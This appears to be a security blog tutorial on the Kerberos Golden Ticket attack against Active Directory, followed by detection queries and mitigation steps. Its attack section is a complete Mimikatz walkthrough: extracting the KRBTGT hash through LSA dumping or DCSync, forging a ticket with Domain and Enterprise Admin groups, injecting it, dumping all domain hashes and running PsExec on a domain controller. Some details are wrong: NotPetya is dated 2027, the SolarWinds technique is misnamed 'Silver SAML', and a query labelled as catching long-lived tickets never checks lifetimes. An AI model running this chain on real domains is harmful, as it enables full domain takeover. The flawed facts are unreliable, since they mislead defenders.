When an attacker extracts the KRBTGT hash from a domain controller, they no longer need credentials, valid accounts, or even network connectivity to the KDC to authenticate as anyone in the domain. They become, effectively, the Kerberos authority itself — able to issue their own tickets for any identity, any group membership, any privilege level, with expiration dates set a decade into the future. This is the Golden Ticket attack.

Understanding Golden Tickets is not optional for anyone defending Active Directory environments. The technique has been observed in nation-state intrusions, ransomware pre-deployment phases, and insider threat cases. It is one of the most durable persistence mechanisms known, surviving password resets, account disabling, and even some domain rebuilds if the remediation procedure is not followed exactly.

Kerberos TGT Flow: The Foundation

Before forging tickets, you need to understand what a legitimate Kerberos authentication flow looks like. Active Directory uses Kerberos version 5 as its primary authentication protocol.

Normal TGT issuance:

  1. Client sends an AS-REQ (Authentication Service Request) to the KDC, encrypted with the user’s password hash.
  2. The KDC validates the request and issues an AS-REP containing a TGT — a blob encrypted with the KRBTGT hash — and a session key encrypted with the user’s hash.
  3. The client stores the TGT. When it needs access to a service, it presents the TGT to the KDC in a TGS-REQ.
  4. The KDC decrypts the TGT with the KRBTGT hash, validates it, and issues a Service Ticket (TGS) encrypted with the target service account’s hash.
  5. The client presents the Service Ticket to the target service, which decrypts it with its own hash and grants access.

The KRBTGT hash is the trust anchor for the entire chain. It is the only secret that validates TGTs. Every domain controller shares the same KRBTGT hash — it is synchronized across the domain. The KDC never contacts the client during service ticket validation; it simply trusts the TGT’s contents.

The PAC (Privilege Attribute Certificate):

Embedded inside every Kerberos ticket is a PAC — a Microsoft extension containing the user’s SID, group memberships (including Domain Admins, Enterprise Admins, etc.), and user account flags. The PAC is signed with KRBTGT. When an attacker forges a TGT, they control the PAC entirely — they can insert arbitrary SIDs, claim Domain Admin membership for a non-privileged account, or even create a ticket for a user account that does not exist in the directory.

Why KRBTGT Is the Crown Jewel

The KRBTGT account exists in every Active Directory domain. It is a built-in service account that cannot be deleted, cannot be used for interactive logon, and is disabled by default from a logon perspective. Its password is set automatically when the domain is created and is rarely changed — in many production environments, the KRBTGT hash has not rotated in years or even decades.

Extracting the KRBTGT hash requires one of the following:

  • Domain Admin privileges and access to a domain controller (to run Mimikatz lsadump::lsa or lsadump::dcsync)
  • DCSync rights — specifically the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All directory permissions, which by default only Domain Admins and Domain Controllers hold
  • Physical or hypervisor access to a domain controller to extract its NTDS.dit database

Once extracted, the hash is usable offline. The attacker does not need to remain connected to the domain — the forgery happens entirely on the attacker’s machine.

Attack Flow: From Compromise to Golden Ticket

Step 1: Gain Domain Admin or DCSync Rights

The attacker has already escalated privileges via some earlier technique — credential stuffing, Kerberoasting, AS-REP roasting, NTLM relay, or a zero-day. They now have Domain Admin or equivalent.

Step 2: Move Laterally to a Domain Controller

1# Verify current user context
2whoami /groups | findstr "Domain Admins"
3
4# Establish a session with the DC
5Enter-PSSession -ComputerName DC01.corp.local -Credential CORP\Administrator

Step 3: Extract the KRBTGT Hash with Mimikatz

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /patch
Domain : CORP / S-1-5-21-3107808321-1234567890-987654321

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Alternatively, using DCSync (does not require touching LSASS on the DC):

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Object Security ID   : S-1-5-21-3107808321-1234567890-987654321-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Collect the following values — all are needed for ticket forging:

  • KRBTGT NTLM hash: 8846f7eaee8fb117ad06bdd830b7586c
  • Domain SID: S-1-5-21-3107808321-1234567890-987654321
  • Domain FQDN: corp.local
  • Domain NetBIOS name: CORP

Step 4: Forge the Golden Ticket

The attacker moves this data to their attack workstation. No further domain connectivity is required until they want to use the ticket.

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3107808321-1234567890-987654321 /krbtgt:8846f7eaee8fb117ad06bdd830b7586c /id:500 /groups:512,519,518,513,516 /endin:87600 /renewmax:262800 /ptt

Parameter breakdown:

  • /user:Administrator — The username embedded in the ticket (does not need to exist)
  • /domain:corp.local — Target domain FQDN
  • /sid:S-1-5-21-... — Domain SID (RID is appended automatically)
  • /krbtgt:8846f... — The stolen KRBTGT NTLM hash
  • /id:500 — RID of the forged user (500 = built-in Administrator)
  • /groups:512,519,518,513,516 — Group SIDs: Domain Admins, Enterprise Admins, Schema Admins, Domain Users, Domain Controllers
  • /endin:87600 — Ticket validity in minutes (87600 = ~60 days; some operators use 525600 for 1 year or 5256000 for 10 years)
  • /renewmax:262800 — Maximum renewal period in minutes
  • /ptt — Pass-the-ticket: inject directly into current session memory

Step 5: Verify the Ticket Is Loaded

 1klist
 2
 3Current LogonId is 0:0x3e7
 4
 5Cached Tickets: (1)
 6
 7#0>	Client: Administrator @ corp.local
 8	Server: krbtgt/corp.local @ corp.local
 9	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
10	Ticket Flags 0x40e00000 -> forwardable renewable initial pre-authent
11	Start Time: 5/9/2026 8:00:00 (local)
12	End Time:   5/9/2026 18:00:00 (local)
13	Renew Time: 5/16/2026 8:00:00 (local)
14	Session Key Type: RSADSI RC4-HMAC(NT)

Step 6: Use the Ticket for Lateral Access

1# Access Domain Controller C$ share
2dir \\DC01.corp.local\C$
3
4# Dump all hashes from the domain (pass-the-ticket + DCSync)
5mimikatz # lsadump::dcsync /domain:corp.local /all /csv
6
7# Remote code execution via PsExec with forged ticket
8PsExec.exe \\DC01.corp.local cmd.exe

The ticket works across all services the specified user and groups would have access to — file shares, RDP, WMI, PowerShell Remoting, Exchange, SharePoint, and more.

Real Incident Examples

NotPetya (June 2027): The Mimikatz-based credential harvesting in NotPetya extracted NTLM hashes and, in some environments, enabled pass-the-hash and Golden Ticket attacks for lateral propagation. The malware’s ability to move laterally without re-authenticating was a core factor in its speed — organizations with flat networks and poor tier separation saw domain-wide compromise in under an hour.

HAFNIUM Exchange Server Attacks (March 2021): Post-exploitation tooling used by HAFNIUM, following exploitation of ProxyLogon (CVE-2021-26855), included credential extraction from LSASS. In environments where the Exchange server had domain controller-equivalent permissions (a common misconfiguration), attackers extracted KRBTGT hashes and established Golden Ticket persistence before patching could occur.

SolarWinds SUNBURST (December 2020): FireEye’s incident response findings noted that threat actors used forged SAML tokens (Silver SAML) and Kerberos ticket abuse in post-compromise activity across compromised government and enterprise environments. Golden Ticket persistence was one mechanism used to maintain access after initial C2 channels were severed.

Persistence Even After Password Resets

This is where the Golden Ticket becomes uniquely dangerous. An administrator discovers an account was compromised and resets its password. The Golden Ticket doesn’t care — it contains no reference to the compromised account’s password. It is signed only by KRBTGT.

Even if:

  • The compromised admin account is disabled
  • The account’s password is reset
  • The account is removed from Domain Admins

The Golden Ticket continues to function until KRBTGT is double-reset.

Why double reset? Active Directory maintains the current KRBTGT password and its immediately preceding value. The KDC accepts tickets encrypted with either. Resetting once makes the old hash the “previous” value — still valid. Only the second reset (minimum 12 hours later, to allow replication across all DCs) invalidates both the old and new previous hash, making all previously forged tickets cryptographically unverifiable.

Detection

Windows Security Event Log

Event ID 4769 (Kerberos Service Ticket Request):

Look for service ticket requests where the encryption type is 0x17 (RC4-HMAC) in an environment that has migrated to AES, or tickets with anomalous lifetimes.

EventID: 4769
Account Name: Administrator
Service Name: cifs/FILESERVER01
Ticket Encryption Type: 0x17  (RC4 — suspicious if domain enforces AES)
Ticket Options: 0x40800010

Event ID 4624 / 4672 (Logon + Special Privileges):

Golden Ticket use results in a logon event. Look for logons from accounts that have not been seen before combined with special privilege assignment — particularly from unusual source IPs or workstations.

Microsoft Sentinel KQL — Detect Long-Lived TGTs:

SecurityEvent
| where EventID == 4769
| extend TicketOptions = tostring(EventData.TicketOptions)
| extend EncryptionType = tostring(EventData.TicketEncryptionType)
| extend AccountName = tostring(EventData.TargetUserName)
| extend ServiceName = tostring(EventData.ServiceName)
| where EncryptionType == "0x17"  // RC4 in AES-only environment
| summarize count() by AccountName, ServiceName, EncryptionType, bin(TimeGenerated, 1h)
| where count_ > 10
| order by count_ desc

Microsoft Sentinel KQL — Detect TGTs Not Followed by Expected TGS:

Legitimate TGTs are followed rapidly by TGS requests. A TGT injected from an attacker workstation may generate service ticket requests without a preceding AS-REQ from the same host.

let TGTs = SecurityEvent
| where EventID == 4768
| project TGT_Time = TimeGenerated, TGT_Account = tostring(EventData.TargetUserName), TGT_IP = tostring(EventData.IpAddress);
let TGSs = SecurityEvent
| where EventID == 4769
| project TGS_Time = TimeGenerated, TGS_Account = tostring(EventData.TargetUserName), TGS_IP = tostring(EventData.IpAddress);
TGSs
| join kind=leftanti TGTs on $left.TGS_Account == $right.TGT_Account and $left.TGS_IP == $right.TGT_IP
| where TGS_Time > ago(1h)

Microsoft Defender for Identity

MDI (formerly Advanced Threat Analytics) has a built-in Golden Ticket detection that watches for:

  • Tickets with non-standard lifetimes (greater than the domain’s MaxTicketAge policy)
  • Tickets referencing accounts with RIDs that do not exist in the directory
  • RC4 encryption in AES-enforced domains
  • TGT use from multiple different IP addresses within a short window (ticket cloning indicator)

MDI alert: “Forged Kerberos ticket (Golden Ticket) was detected” — severity: High.

Indicators of Compromise (IOCs)

  • Kerberos tickets with lifetime exceeding domain MaxTicketAge (default 10 hours)
  • RC4-HMAC (0x17) encryption on TGTs in AES-256 enforced domains
  • Service ticket requests with no corresponding AS-REQ from the same source
  • mimikatz.exe or known Mimikatz hashes on disk or in memory
  • LSASS memory access events (Sysmon Event ID 10) from non-system processes
  • DCSync traffic (DrsGetNCChanges RPC call) from non-DC machines

Defense and Mitigation

1. KRBTGT Double-Reset Procedure

Microsoft’s documented remediation requires two password resets separated by at least the maximum Kerberos ticket lifetime (typically 10 hours, but wait 12+ to be safe and account for replication lag):

 1# Install the KRBTGT account reset script from Microsoft
 2# https://github.com/microsoft/New-KrbtgtKeys.ps1
 3
 4# Step 1: Run in Simulation mode first
 5.\New-KrbtgtKeys.ps1 -Mode Simulation
 6
 7# Step 2: First reset (invalidates nothing yet, only updates current hash)
 8.\New-KrbtgtKeys.ps1 -Mode Reset
 9
10# Wait minimum 12 hours for replication and ticket expiry
11
12# Step 3: Second reset (previous hash is now discarded — all old tickets invalid)
13.\New-KrbtgtKeys.ps1 -Mode Reset

Monitor replication health before and after:

1repadmin /showrepl
2repadmin /replsummary

2. Tiered Administration Model

Prevent domain admin credentials from ever touching Tier 1 (server) or Tier 2 (workstation) systems. Domain controllers are Tier 0 — only Tier 0 accounts should authenticate to them. This limits the blast radius of credential theft.

3. Protected Users Security Group

Add privileged accounts to the Protected Users group:

1Add-ADGroupMember -Identity "Protected Users" -Members "DA_AccountName","SVC_KerberosAdmin"

Protected Users members cannot use RC4 for Kerberos (only AES), cannot use NTLM authentication, and their TGTs are limited to 4 hours with no renewal. This makes Golden Ticket persistence harder and Golden Ticket use noisier.

4. Enforce AES-Only Kerberos

Set msDS-SupportedEncryptionTypes to 0x18 (AES128+AES256) on all privileged accounts and eliminate RC4. Golden Tickets created with RC4 in an AES-only environment generate detectable anomalies.

1Set-ADUser -Identity "krbtgt" -KerberosEncryptionType AES128,AES256
2Get-ADUser -Filter * -Properties msDS-SupportedEncryptionTypes |
3  Where-Object {$_.msDS-SupportedEncryptionTypes -band 0x4} |
4  Select-Object Name, msDS-SupportedEncryptionTypes

5. Privileged Access Workstations (PAWs)

Domain Admin authentication should only originate from dedicated, hardened PAW machines that are never used for email, web browsing, or general productivity tasks. PAWs should run on isolated VLANs with firewall rules blocking internet access.

6. Microsoft Defender for Identity

Deploy MDI on all domain controllers. It processes Kerberos traffic inline and can detect Golden Ticket use, LSASS access, DCSync, and KRBTGT hash extraction attempts in near-real-time. MDI integrates with Microsoft Sentinel for automated response playbooks.

7. Limit DCSync Rights

Audit who holds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain naming context:

1Import-Module ActiveDirectory
2$domainDN = (Get-ADDomain).DistinguishedName
3(Get-ACL "AD:\$domainDN").Access |
4  Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight" -and
5               ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
6                $_.ObjectType -eq "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2")} |
7  Select-Object IdentityReference, ActiveDirectoryRights

Remove any accounts that should not have replication rights.

Summary

The Golden Ticket attack exploits the fundamental trust model of Kerberos: the KDC signs TGTs, and services trust what the KDC has signed. By extracting the KRBTGT hash, an attacker becomes the KDC in the eyes of every service in the domain. Detection relies on anomaly-based monitoring — specifically hunting for tickets with impossible lifetimes, unusual encryption types, or TGT use without corresponding AS-REQ flows. Remediation requires a precise double-reset of KRBTGT, executed with attention to replication timing, paired with long-term architectural controls that keep Tier 0 credentials isolated.

MITRE ATT&CK: T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket

References